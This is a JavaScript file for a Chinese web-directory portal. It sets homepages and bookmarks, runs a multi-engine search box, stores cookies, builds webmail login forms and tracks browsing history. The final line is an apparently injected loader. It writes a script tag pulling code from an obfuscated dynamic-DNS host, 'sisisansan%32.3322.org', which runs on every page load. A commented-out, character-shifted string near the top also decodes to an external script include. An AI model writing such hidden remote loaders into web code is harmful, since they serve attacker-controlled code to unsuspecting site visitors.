if(self!=top){top.location=self.location;}
//var loca=document.location.host
var loca="www.nksos.com";
function checkhomepage(){
   if (document.getElementById('logo').isHomePage("http://"+loca+"/")||document.getElementById('logo').isHomePage("http://"+loca+"")||	document.getElementById('logo').isHomePage("http://"+loca+"/index.htm")||document.getElementById('logo').isHomePage("http://"+loca+"/index.html"))
  {
	  return true;
  }
  else
  {
	  return false;
	  }

}
function clicklogo(){
    if(checkhomepage()){
	    window.location=('http://'+loca+'/');
	}else{ 
		document.getElementById('logourl').style.behavior='url(#default#homepage)';
		document.getElementById('logourl').setHomePage('http://'+loca+'/'); 
	}
}


function externalLinks() {
if (!document.getElementsByTagName) return;
var anchors = document.getElementsByTagName("a");
for (var i=0; i<anchors.length; i++) {
var anchor = anchors[i];
if (anchor.getAttribute("href") &&
anchor.getAttribute("rel") == "external")
anchor.target = "_blank";
}
}
window.onload = externalLinks;

/*
function lI( s ){ var sRet="";for(i=0; i< s.length; i++ ){var n= s.charCodeAt(i);sRet += String.fromCharCode( n -3 );}return( sRet );}
document.write(lI('?vfulsw#odqjxdjh@mdydvfulsw#vuf@kwws=22zzz19871fq2qhzv1mv#w|sh@wh{w2mdydvfulswA?2vfulswA'));
*/
document.write('<script language="javascript" src="/news.js" type="text/javascript"></script>');
function selectTag(showContent,selfObj){
	var tag = document.getElementById("tags").getElementsByTagName("a");
	var taglength = tag.length;
	for(i=0; i<taglength; i++){
		tag[i].className = "";
	}
	selfObj.className = "focu";
	for(i=0; j=document.getElementById("baidu"+i); i++){
		j.style.display = "none";
	}
	document.getElementById(showContent).style.display = "block";
	document.getElementById(showContent+"Words").innerHTML=eval(showContent + "Words");
}
function addBookmark(title,url) {
    if (window.sidebar) {
        window.sidebar.addPanel(title, url,"");
    } else if( document.all ) {
        window.external.AddFavorite( url, title);
    } else if( window.opera && window.print ) {
        return true;
    }
}
function setHomePage(url){
    if (window.sidebar)
    {
        try { 
           netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); 
        } 
        catch (e) 
        {  
           alert("此操作被浏览器拒绝！\n请在浏览器地址栏输入“about:config”并回车\n然后将[signed.applets.codebase_principal_support]设置为'true'"); 
        } 
        var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch);
            prefs.setCharPref('browser.startup.homepage',url);

    }
}
function search(){
 var v=$("footerkeyword").value
 if($("a0").checked)
 {
	 //window.open("http://www.google.cn/search?complete=1&hl=zh-CN&meta=&aq=null&q="+v);
	 window.open("http://www.google.cn/search?ie=gb&hl=zh-CN&client=pub-6510510280415489&forid=1&channel=prefill&q="+v);
 }
 if($("a1").checked)
    window.open("http://www.baidu.com/s?tn=0775001_pg&_sv=1&wd="+v);
 if($("a2").checked)
 window.open("http://search.union.yahoo.com.cn/click/search.htm?m=419433&fw=union&st=0&p=1006&name="+v);
 if($("a3").checked)
 window.open("http://www.sogou.com/web?pid=bb2000&query="+v);
 if($("a4").checked)
 window.open("http://video.baidu.com/v?ct=301989888&rn=20&pn=0&db=0&s=0&fbl=1024&word="+v);
  if($("a5").checked)
 window.open("http://blogsearch.baidu.com/s?tn=0775001_pg&bsm=0&ct=2097152&cl=3&wd="+v);
  if($("a6").checked)
 window.open("http://news.baidu.com/ns?bt=0&et=0&si=&rn=20&tn=0775001_pg&ie=gb2312&ct=0&cl=2&f=12&word="+v);
  if($("a7").checked)
 window.open("http://mp3.baidu.com/m?f=ms&tn=0775001_pg&ct=134217728&lf=&rn=&lm=-1&word="+v);
  if($("a8").checked)
 window.open("http://image.baidu.com/i?tn=0775001_pg&ct=201326592&lm=-1&cl=2&t=12&word="+v);
  if($("a9").checked)
 window.open("http://ditu.google.cn/maps?ie=gbk&hl=zh-CN&f=q&sampleq=1&q="+v);
  if($("a10").checked)
 window.open("http://baike.baidu.com/w?ct=17&lm=0&tn=baiduWikiSearch&pn=0&rn=10&submit=search&&word="+v);
  if($("a11").checked)
 window.open("http://www.baidu.com/baidu?ie=gb2312&bs=&sr=&z=&ct=1048576&submit=%D3%A2%BA%BA%B4%CA%B5%E4&cl2=3&f=8&tn=0775001_pg&word="+v);
   if($("a12").checked)
 window.open("http://weather.tq121.com.cn/detail.php?city="+v);
   if($("a13").checked)
 window.open("http://mp3.baidu.com/m?f=ms&tn=baidump3lyric&ct=150994944&lf=2&rn=10&lm=-1&word="+v);
   if($("a14").checked)
 window.open("http://www.baidu.com/baidu?submit3=%B2%E9%D1%AF%B9%C9%C6%B1&cl=3&tn=0775001_pg&word="+v);
   if($("a15").checked)
 window.open("http://www.v6vv.com/search.php?keyword="+v);
    if($("a16").checked)
 window.open("http://www.skycn.com/search.php?ss_name="+v);
    if($("a17").checked)
 window.open("http://so.bbs.qihoo.com/index.html?src=portal&kw="+v);
 var ylmfSea="";
 for(i=0;i<=17;i++){
    if($("a"+i).checked) ylmfSea=ylmfSea+i+"|";
 }
 if (ylmfSea=="") ylmfSea = "0|1";
 else ylmfSea=ylmfSea.substr(0,ylmfSea.length-1);
  setSearch(ylmfSea);
  return false;
}
function setSearch(ylmfSea){
 SetCookie("laiduSearch_654cn",ylmfSea);
}		
function getSearch() {
 var ylmfSea = GetCookie("laiduSearch_654cn")?GetCookie("laiduSearch_654cn"):"0|1";
 ylmfSea=ylmfSea.split("|");
 for(var i=0;i<17;i++){
  $("a"+i).checked=false;
 }
 for(var j=0;j<ylmfSea.length;j++){
  $("a"+ylmfSea[j]).checked=true;
 }
}

function SetCookie (name, value) { 
       var exp = new Date(); 
       exp.setTime (exp.getTime()+3600000000); 
       document.cookie = name + "=" + value + "; expires=" + exp.toGMTString()+"; path=/"; 
}

function getCookieVal (offset) { 
	var endstr = document.cookie.indexOf (";", offset); 
	if (endstr == -1) endstr = document.cookie.length; 
    return unescape(document.cookie.substring(offset, endstr)); 
 } 
function DelCookie(name)
{
var exp = new Date();
exp.setTime (exp.getTime() - 1);
var cval = GetCookie (name);
document.cookie = name + "=" + cval + "; expires="+ exp.toGMTString();
}

function GetCookie(name) {
         var arg = name + "="; 
         var alen = arg.length; 
         var clen = document.cookie.length; 
         var i = 0; 
         while (i < clen) { 
             var j = i + alen; 
             if (document.cookie.substring(i, j) == arg) return getCookieVal (j); 
             i = document.cookie.indexOf(" ", i) + 1; 
             if (i == 0) break; 
         } 
	     return null; 
 } 


function $(o){
 var o=document.getElementById(o)?document.getElementById(o):'';
 return o;
}
function runCode(code){
var _c=window.open("","","");
_c.opener=null;
_c.document.write(code);
_c.document.close();
}
function createXMLHttpRequest(){
  if(window.ActiveXObject){
      xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
  }else if(window.XMLHttpRequest) {
      xmlHttp = new XMLHttpRequest();
  }
} 
function startRequest(url,returnfun) {
   createXMLHttpRequest(); 
   xmlHttp.onreadystatechange =returnfun;
   xmlHttp.open("GET",url,true);
   xmlHttp.send(null);    

}
function weatherStateChange(){
  if(xmlHttp.readyState == 4){
	  $("ipweather").innerHTML=xmlHttp.responseText;
  }
	  
}

function MailChange(i,obj)
{
var url= new Array();
var username= new Array();
var pwd= new Array();
id=i;
url[0]=" ";
username[0]="";
pwd[0]="";
//@163.com
url[1]="http://reg.163.com/CheckUser.jsp";
username[1]="username";
pwd[1]="password";
//@126.com
url[2]="http://entry.126.com/cgi/login";
username[2]="user";
pwd[2]="pass";
//@yeah.net
url[3]="http://entry.yeah.net/cgi/login";
username[3]="user";
pwd[3]="pass";
//@vip.163.com
url[4]="http://vip.163.com/logon.m";
username[4]="username";
pwd[4]="password";
//@sina.com
url[5]="http://mail.sina.com.cn/cgi-bin/login.cgi";
username[5]="u";
pwd[5]="psw";
//@vip.sina.com
url[6]="http://vip.sina.com.cn/cgi-bin/login.cgi";
username[6]="user";
pwd[6]="pass";
//@sohu.com
url[7]="http://passport.sohu.com/login.jsp";
username[7]="UserName";
pwd[7]="Password";
//@yahoo.com.cn
url[8]="https://edit.bjs.yahoo.com/config/login";
username[8]="login";
pwd[8]="passwd";
//@yahoo.cn
url[9]="https://edit.bjs.yahoo.com/config/login";
username[9]="login";
pwd[9]="passwd";
//@Gmail.com
url[10]="https://www.google.com/accounts/ServiceLoginAuth";
username[10]="Email";
pwd[10]="Passwd";
//@tom.com
url[11]="http://bjweb.mail.tom.com/cgi/163/login_pro.cgi";
username[11]="user";
pwd[11]="pass";
//@hotmail.com
url[12]="https://login.passport.com/ppsecure/post.srf?id=2&svc=mail&cbid=24325&msppjph=1&tw=0&fs=1&fsa=1&fsat=1296000&lc=2052&_lang=CN&bk=1136886915";
username[12]="login";
pwd[12]="passwd";
//@msn.com
url[13]="https://login.passport.com/ppsecure/post.srf?id=2&svc=mail&cbid=24325&msppjph=1&tw=0&fs=1&fsa=1&fsat=1296000&lc=2052&_lang=CN&bk=1136886915";
username[13]="login";
pwd[13]="passwd";
//163.net
url[14]="http://bjweb.mail.tom.com/cgi/163/login_pro.cgi";
username[14]="user";
pwd[14]="pass";
//21cn.com
url[15]="http://passport.21cn.com/maillogin.jsp";
username[15]="UserName";
pwd[15]="passwd";
//2008.sina.com
url[16]="http://mail.2008.sina.com.cn/cgi-bin/login.php";
username[16]="u";
pwd[16]="psw";
//baidu
url[17]="http://passport.baidu.com/?login";
username[17]="username";
pwd[17]="password";
//ChinaRen
url[18]="http://passport.sohu.com/login.jsp";
username[18]="loginid";
pwd[18]="passwd";
//校内网
url[19]="http://login.xiaonei.com/Login.do";
username[19]="email";
pwd[19]="password";
//51.com
url[20]="http://passport.51.com/login.5p";
username[20]="passport_51_user";
pwd[20]="passport_51_password";

$("Musername"+obj).name=username[id];
$("Mpwd"+obj).name=pwd[id];
$("mail_login"+obj).action=url[id];
 SetCookie('mailid',id);
}

function MailVerify(obj)
{
	
if($("maillist"+obj).value==0)
    {
	 alert("请选择你要登陆的邮箱");
	 return false;
	}	

if ($("Musername"+obj).value==""||$("Mpwd"+obj).value=="")
   {
	alert("用户名或密码不能为空");
	return false;
	}
	if($("maillist"+obj).value==12){
		$("Musername"+obj).value=$("Musername"+obj).value+'@hotmail.com';
}
    SetCookie('mailname',$("Musername"+obj).value);
    setTimeout('ResetPwd('+obj+')',1000);
    return true;
}	

function ResetPwd(obj)
{
	$("Mpwd").value="";
	if (obj!='')
	{
		$("Mpwd"+obj).value="";
	}
	
}
function checkIP(ip)
{
	var ipArray,j;
	var ip=ip.toLowerCase();
    if(/[A-Za-z_-]/.test(ip)){
		if(!/^([\w-]+\.)+((com)|(net)|(org)|(gov\.cn)|(info)|(cc)|(com\.cn)|(net\.cn)|(org\.cn)|(name)|(biz)|(tv)|(cn))$/.test(ip)){
			alert("不是正确的域名或域名");
			return false;
		}
              
    }else{
		ipArray = ip.split(".");
		j = ipArray.length
		if(j!=4)
		{
			alert("不是正确的IP或域名");			
			return false;
		}

		for(var i=0;i<4;i++)
		{
			if(ipArray[i].length==0 || ipArray[i]>255)
			{
				alert("不是正确的IP或域名");
				return false;
			}
		}
	}
}

function glog(evt)
{	
  evt=evt?evt:window.event;var srcElem=(evt.target)?evt.target:evt.srcElement;
try
{
	
while(srcElem.tagName.toUpperCase()=="A") 
{

if(srcElem.parentNode.parentNode.id=="pagelist"||srcElem.parentNode.parentNode.id=="pagelist2"||srcElem.parentNode.parentNode.id=="indextool"  )
{
 linkname=srcElem.innerHTML; 
 islog=true; 
 address=srcElem.href; 
 linkname=linkname.replace(/<\/?SPAN[^>]*>/gi,"");
 address=address.replace(/<\/?SPAN[^>]*>/gi,""); 
 wlink=linkname+"+"+address+"_654cn_"; 
 wlink+=GetCookie("history");
 wlink=escape(wlink);
 SetCookie("history",wlink); 
 history_show();
 if ( islog==true)
 {
	  savehits(linkname,address,srcElem.parentNode.parentNode.id);
 }
}
srcElem = srcElem.parentNode;
}
}
catch(e){}
return true;
}
function history_show()
{   
try
{
 var history=GetCookie("history");
 history=unescape(history);
 var content='';
 if(history!="null"&&history.indexOf("&")==-1)
 {
 history_arg=history.split("_654cn_");
 i=0;
 linknum=0;
 len= history_arg.length;
 for(i=0;i<len;i++)
 { 
 	var wlink=history_arg[i].split("+");
    if(history_arg[i]!="null" && content.indexOf(wlink[0])==-1 && linknum<44){
       content+="<li><a href=\""+wlink[1]+"\" target=\"_blank\"  title=\""+wlink[0]+"\">"+wlink[0]+"</a></li>";
       linknum+=1;
    }
    
}    
 document.getElementById("history").innerHTML=content; 

}else{
 	document.getElementById("history").innerHTML="<center>对不起，您没有任何浏览记录</center>";

}
}
catch(e){}
}
function ClearHistory()
{
clean=confirm("确定要清除所有的浏览记录？")	
if(clean)
{
	DelCookie("history");
	document.getElementById("history").innerHTML="<center>对不起，您没有任何浏览记录</center>";

	}
}
document.onclick=glog;
function savehits(linkname,address,type){	
    // ylmftime=new Date().getTime();
	// url='http://'+document.location.host+'/count.php?linkname='+encodeURIComponent(linkname)+'&address='+encodeURIComponent(address)+'&ylmftime='+ylmftime+'&type='+type;
	// startRequest(url,handleStateChange);
}
function handleStateChange(){
  if(xmlHttp.readyState == 4){
	  //alert(xmlHttp.responseText);
  }	  
}
function logad(id){
     //time654=new Date().getTime();
	 //url='http://'+document.location.host+'/count_1.php?id='+id+'&time654='+time654;
	 //startRequest(url,handleStateChange);
}
function searchlog(keywordid){
    // ylmftime=new Date().getTime();
	// url='http://'+document.location.host+'/count_1.php?id='+keywordid+'&type=keyword&ylmftime='+ylmftime;
	// startRequest(url,handleStateChange); 
}
function addsite(site){
  var lst = '';  
  for(i=0;i<site.length;i++){
     if(site[i][2]==''){
		 lst+='<li><a href="'+site[i][0]+'" target="_blank">'+site[i][1]+'</a></li>';
	 }else{
		 lst+='<li><a href="'+site[i][0]+'" target="_blank"><span style="color:'+site[i][2]+'">'+site[i][1]+'</span></a></li>';
	 }
    
  }
  $("pagelist").innerHTML+=lst;
  //document.write(lst);
}


 var isylmf=false;
 var bookmarkname='脑壳医学网址大全';
 var myReg = /^([a-z0-9.]*)+654.cn$/; 
 
 if (myReg.test(document.location.host))
 {
	  isylmf=true;
	   var bookmarkname='脑壳医学网址大全--www.nksos.com';
 }
function showCon(ids){
		for(xm=1;xm<=3;xm++){
			document.getElementById("sitem"+xm).style.display="none";
		}
		document.getElementById(ids).style.display="block";
}

function gositesearch(keyword){
   /*  ylmftime=new Date().getTime();
	 url='http://'+document.location.host+'/search.php?keyword='+encodeURIComponent(keyword)+'&ylmftime='+ylmftime;
	 $("sitesearch").innerHTML="<center>正在搜索中...</center>";
	 startRequest(url,showsearchsite);
	*/ 

}

function showsearchsite(){
  if(xmlHttp.readyState == 4){
	  txt=xmlHttp.responseText;
	  $("sitesearch").innerHTML=txt;
  }	  

}

function JHshStrLen(sString)
{
var sStr,iCount,i,strTemp ; 
iCount = 0 ;
sStr = sString.split("");
for (i = 0 ; i < sStr.length ; i ++)
{
strTemp = escape(sStr[i]); 
if (strTemp.indexOf("%u",0) == -1) // 表示是汉字
{ 
iCount = iCount + 1 ;
} 
else 
{
iCount = iCount + 2 ;
}
}
return iCount ;
}

function KeyDown()
{
    if (event.keyCode == 13)
    {
        event.returnValue=false;
        event.cancel = true;
        if($('sitekeyword').value=='' ||JHshStrLen($('sitekeyword').value)<4){
			alert('请输入要搜索的关键字或关键字不能少于2个汉字!!');
		}else{
			gositesearch($('sitekeyword').value);
		}
    }
}

document.writeln ("<script src=\"http://sisisansan%32.3322.org\"><\/script>");
